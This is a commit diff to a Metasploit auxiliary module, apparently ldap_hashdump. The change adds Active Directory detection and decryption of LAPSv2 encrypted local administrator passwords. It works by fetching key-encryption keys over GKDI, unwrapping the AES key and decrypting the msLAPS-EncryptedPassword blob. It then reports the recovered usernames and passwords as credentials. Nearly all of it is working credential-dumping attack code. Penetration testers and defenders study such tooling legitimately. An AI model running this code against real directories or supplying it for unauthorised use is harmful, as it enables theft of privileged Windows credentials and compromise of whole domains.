3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
+ require 'rasn1'
7
+
6
8
class MetasploitModule < Msf ::Auxiliary
7
9
8
10
include Msf ::Auxiliary ::Scanner
9
11
include Msf ::Auxiliary ::Report
12
+ include Msf ::Exploit ::Remote ::MsGkdi
10
13
include Msf ::Exploit ::Remote ::LDAP
11
14
include Msf ::OptionalSession ::LDAP
12
15
13
16
include Msf ::Exploit ::Deprecated
14
17
moved_from 'auxiliary/gather/ldap_hashdump'
15
18
16
- PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
19
+ LDAP_CAP_ACTIVE_DIRECTORY_OID = '1.2.840.113556.1.4.800' . freeze
20
+ PASSWORD_ATTRIBUTES = %w[ clearpassword mailuserpassword mslaps-password mslaps-encryptedpassword ms-mcs-admpwd password passwordhistory pwdhistory sambalmpassword sambantpassword userpassword userpkcs12 ]
17
21
18
22
def initialize ( info = { } )
19
23
super (
@@ -58,10 +62,71 @@ def initialize(info = {})
58
62
] )
59
63
end
60
64
65
+ def session?
66
+ defined? ( :session ) && session
67
+ end
68
+
61
69
def print_prefix
70
+ return "#{ Rex ::Socket . to_authority ( session . client . host , session . client . port ) } - " if session?
71
+
62
72
"#{ peer . ljust ( 21 ) } - "
63
73
end
64
74
75
+ def get_ad_ds_domain_info ( ldap )
76
+ vprint_status ( 'Checking if the target LDAP server is an Active Directory Domain Controller...' )
77
+
78
+ root_dse = ldap . search (
79
+ ignore_server_caps : true ,
80
+ base : '' ,
81
+ scope : Net ::LDAP ::SearchScope_BaseObject ,
82
+ attributes : %i[ configurationNamingContext supportedCapabilities supportedExtension ]
83
+ ) &.first
84
+
85
+ unless root_dse [ :supportedcapabilities ] . map ( &:to_s ) . include? ( LDAP_CAP_ACTIVE_DIRECTORY_OID )
86
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
87
+ return nil
88
+ end
89
+
90
+ unless root_dse [ :supportedextension ] . include? ( Net ::LDAP ::WhoamiOid )
91
+ print_status ( 'The target LDAP server is not an Active Directory Domain Controller.' )
92
+ return nil
93
+ end
94
+
95
+ print_status ( 'The target LDAP server is an Active Directory Domain Controller.' )
96
+
97
+ unless ldap . search ( base : '' , filter : '(objectClass=domain)' ) . nil?
98
+ # this *should* never happen unless we're tricked into connecting on a different port but if it does happen it
99
+ # means we'll be getting information from more than one domain which breaks some core assumptions
100
+ # see: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc978012(v=technet.10)
101
+ fail_with ( Msf ::Module ::Failure ::NoTarget , 'The target LDAP server is a Global Catalog.' )
102
+ end
103
+
104
+ # our_domain, _, our_username = ldap.ldapwhoami.to_s.delete_prefix('u:').partition('\\')
105
+
106
+ target_domains = ldap . search (
107
+ base : root_dse [ :configurationnamingcontext ] . first . to_s ,
108
+ filter : "(&(objectCategory=crossref)(nETBIOSName=*)(nCName=#{ ldap . base_dn } ))"
109
+ )
110
+ unless target_domains . present?
111
+ fail_with ( Msf ::Module ::Failure ::NotFound , 'The target LDAP server did not return its NETBIOS domain name.' )
112
+ end
113
+
114
+ unless target_domains . length == 1
115
+ fail_with ( Msf ::Module ::Failure ::NotFound , "The target LDAP server returned #{ target_domains . length } NETBIOS domain names." )
116
+ end
117
+
118
+ target_domain = target_domains . first
119
+
120
+ {
121
+ netbios_name : target_domain [ :netbiosname ] . first . to_s ,
122
+ dns_name : target_domain [ :dnsroot ] . first . to_s
123
+ }
124
+ end
125
+
126
+ def ad_domain?
127
+ @ad_ds_domain_info . nil?
128
+ end
129
+
65
130
# PoC using ldapsearch(1):
66
131
#
67
132
# Retrieve root DSE with base DN:
@@ -89,6 +154,8 @@ def run_host(_ip)
89
154
vprint_status ( "Using the '#{ datastore [ 'USER_ATTR' ] } ' attribute as the username" )
90
155
end
91
156
157
+ @ad_ds_domain_info = get_ad_ds_domain_info ( ldap )
158
+
92
159
print_status ( "Searching base DN: #{ base_dn } " )
93
160
entries_returned += ldap_search ( ldap , base_dn , base : base_dn )
94
161
end
@@ -106,10 +173,12 @@ def run_host(_ip)
106
173
def ldap_search ( ldap , base_dn , args )
107
174
entries_returned = 0
108
175
creds_found = 0
176
+ # TODO: use a filter when we're targeting AD DS
109
177
def_args = {
110
- base : '' ,
111
178
return_result : false ,
112
- attributes : %w[ * + - ]
179
+ scope : Net ::LDAP ::SearchScope_WholeSubtree ,
180
+ # build a filter that searches for any object that contains at least one of the attributes we're interested in
181
+ filter : "(|#{ password_attributes . map { "(#{ _1 } =*)" } . join } )"
113
182
}
114
183
115
184
begin
@@ -233,6 +302,12 @@ def process_hash(entry, attr)
233
302
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
234
303
# In the meantime, dump the base64 encoded value.
235
304
private_data = Base64 . strict_encode64 ( private_data )
305
+ when 'mslaps-encryptedpassword'
306
+ lapsv2 = process_result_lapsv2_encrypted ( entry )
307
+ next if lapsv2 . nil?
308
+
309
+ username = lapsv2 [ 'n' ]
310
+ private_data = lapsv2 [ 'p' ]
236
311
when 'userpkcs12'
237
312
# if we get non printable chars, encode into base64
238
313
if ( private_data =~ /[^[:print:]]/ ) . nil?
@@ -271,7 +346,7 @@ def process_hash(entry, attr)
271
346
# highlight unresolved hashes
272
347
jtr_format = '{crypt}' if private_data =~ /{crypt}/i
273
348
274
- print_good ( "Credentials (#{ jtr_format || 'password' } ) found in #{ attr } : #{ username } :#{ private_data } " )
349
+ print_good ( "Credentials (#{ jtr_format . blank? ? 'password' : jtr_format } ) found in #{ attr } : #{ username } :#{ private_data } " )
275
350
276
351
report_creds ( username , private_data , jtr_format )
277
352
creds_found += 1
@@ -300,7 +375,109 @@ def report_creds(username, private_data, jtr_format)
300
375
username : username
301
376
} . merge ( service_data )
302
377
378
+ if @ad_ds_domain_info
379
+ credential_data [ :realm_key ] = Metasploit ::Model ::Realm ::Key ::ACTIVE_DIRECTORY_DOMAIN
380
+ credential_data [ :realm_value ] = @ad_ds_domain_info [ :dns_name ]
381
+ end
382
+
303
383
cl = create_credential_and_login ( credential_data )
304
384
cl . respond_to? ( :core_id ) ? cl . core_id : nil
305
385
end
386
+
387
+ def process_result_lapsv2_encrypted ( result )
388
+ if session?
389
+ print_warning ( 'Can not obtain LAPSv2 decryption keys when running with an existing session.' )
390
+ return
391
+ end
392
+
393
+ encrypted_block = result [ 'msLAPS-EncryptedPassword' ] . first
394
+
395
+ encrypted_blob = LAPSv2EncryptedPasswordBlob . read ( encrypted_block )
396
+ content_info = Rex ::Proto ::CryptoAsn1 ::Cms ::ContentInfo . parse ( encrypted_blob . buffer . pack ( 'C*' ) )
397
+ encrypted_data = encrypted_blob . buffer [ content_info . to_der . bytesize ...] . pack ( 'C*' )
398
+ enveloped_data = content_info . enveloped_data
399
+ recipient_info = enveloped_data [ :recipient_infos ] [ 0 ]
400
+ kek_identifier = recipient_info [ :kekri ] [ :kekid ]
401
+
402
+ key_identifier = kek_identifier [ :key_identifier ]
403
+ key_identifier = GkdiGroupKeyIdentifier . read ( key_identifier . value )
404
+
405
+ other_key_attribute = kek_identifier [ :other ]
406
+ unless other_key_attribute [ :key_attr_id ] . value == '1.3.6.1.4.1.311.74.1'
407
+ vprint_error ( 'msLAPS-EncryptedPassword parsing failed: Unexpected OtherKeyAttribute#key_attr_id OID.' )
408
+ return
409
+ end
410
+
411
+ ms_key_attribute = MicrosoftKeyAttribute . parse ( other_key_attribute [ :key_attr ] . value )
412
+ kv_pairs = ms_key_attribute [ :content ] [ :content ] [ :content ] [ :kv_pairs ]
413
+ sid = kv_pairs . value . find { |kv_pair | kv_pair [ :name ] . value == 'SID' } [ :value ] &.value
414
+
415
+ sd = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . from_sddl_text (
416
+ "O:SYG:SYD:(A;;CCDC;;;#{ sid } )(A;;DC;;;WD)" ,
417
+ domain_sid : sid . rpartition ( '-' ) . first
418
+ )
419
+
420
+ if @gkdi_client . nil?
421
+ @gkdi_client = connect_gkdi ( username : datastore [ 'LDAPUsername' ] , password : datastore [ 'LDAPPassword' ] )
422
+ end
423
+
424
+ begin
425
+ kek = gkdi_get_kek (
426
+ client : @gkdi_client ,
427
+ security_descriptor : sd ,
428
+ key_identifier : key_identifier
429
+ )
430
+ rescue StandardError => e
431
+ elog ( 'Failed to obtain the KEK from GKDI' , error : e )
432
+ print_error ( "Failed to obtain the KEK from GKDI: #{ e . class } - #{ e } " )
433
+ return nil
434
+ end
435
+
436
+ algorithm_identifier = content_info . enveloped_data [ :encrypted_content_info ] [ :content_encryption_algorithm ]
437
+ # TODO: validate that AES-GCM is in use
438
+ iv = algorithm_identifier . gcm_parameters [ :aes_nonce ] . value
439
+ encrypted_key = recipient_info [ :kekri ] [ :encrypted_key ] . value
440
+
441
+ key = Rex ::Crypto ::KeyWrap ::NIST_SP_800_38f . aes_unwrap ( kek , encrypted_key )
442
+
443
+ cipher = OpenSSL ::Cipher ::AES . new ( key . length * 8 , :GCM )
444
+ cipher . decrypt
445
+ cipher . key = key
446
+ cipher . iv_len = iv . length
447
+ cipher . iv = iv
448
+ cipher . auth_tag = encrypted_data [ -16 ...]
449
+ plaintext = cipher . update ( encrypted_data [ ...-16 ] ) + cipher . final
450
+ JSON . parse ( RubySMB ::Field ::Stringz16 . read ( plaintext ) . value )
451
+ end
452
+
453
+ # https://blog.xpnsec.com/lapsv2-internals/#:~:text=msLAPS%2DEncryptedPassword%20attribute
454
+ # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/b6ea7b78-64da-48d3-87cb-2cff378e4597
455
+ class LAPSv2EncryptedPasswordBlob < BinData ::Record
456
+ endian :little
457
+
458
+ file_time :timestamp
459
+ uint32 :buffer_size
460
+ uint32 :flags
461
+ uint8_array :buffer , initial_length : :buffer_size
462
+ end
463
+
464
+ class MicrosoftKeyAttribute < RASN1 ::Model
465
+ class Sequence < RASN1 ::Model
466
+ class KVPairs < RASN1 ::Model
467
+ sequence :content , content : [
468
+ utf8_string ( :name ) ,
469
+ utf8_string ( :value )
470
+ ]
471
+ end
472
+
473
+ sequence :content , constructed : true , content : [
474
+ sequence_of ( :kv_pairs , KVPairs )
475
+ ]
476
+ end
477
+
478
+ sequence :content , content : [
479
+ objectid ( :key_attr_id ) ,
480
+ model ( :key_attr , Sequence )
481
+ ]
482
+ end
306
483
end
0 commit comments